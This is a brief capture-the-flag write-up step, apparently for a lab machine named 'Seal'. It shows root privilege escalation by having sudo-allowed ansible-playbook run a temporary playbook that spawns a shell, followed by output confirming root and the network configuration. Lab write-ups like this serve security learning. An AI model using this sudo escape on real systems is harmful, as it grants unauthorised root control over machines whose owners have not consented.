Seal_Privilege_Escalation

ansible-playbook

---

According to GTFObins, ansible-playbook can be abused for privilege escalation if configured to run with sudo privileges

luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo -u root /usr/bin/ansible-playbook $TF
[warning]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
 
PLAY [localhost] ***********************************************************************************************************************
 
TASK [Gathering Facts] *****************************************************************************************************************
ok: [localhost]
 
TASK [shell] ***************************************************************************************************************************
# whoami
root
# hostname
seal
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.250  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:d927  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:d927  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:d9:27  txqueuelen 1000  (Ethernet)
        RX packets 112077  bytes 11579920 (11.5 MB)
        RX errors 0  dropped 86  overruns 0  frame 0
        TX packets 93454  bytes 360136370 (360.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1262  bytes 3931261 (3.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1262  bytes 3931261 (3.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise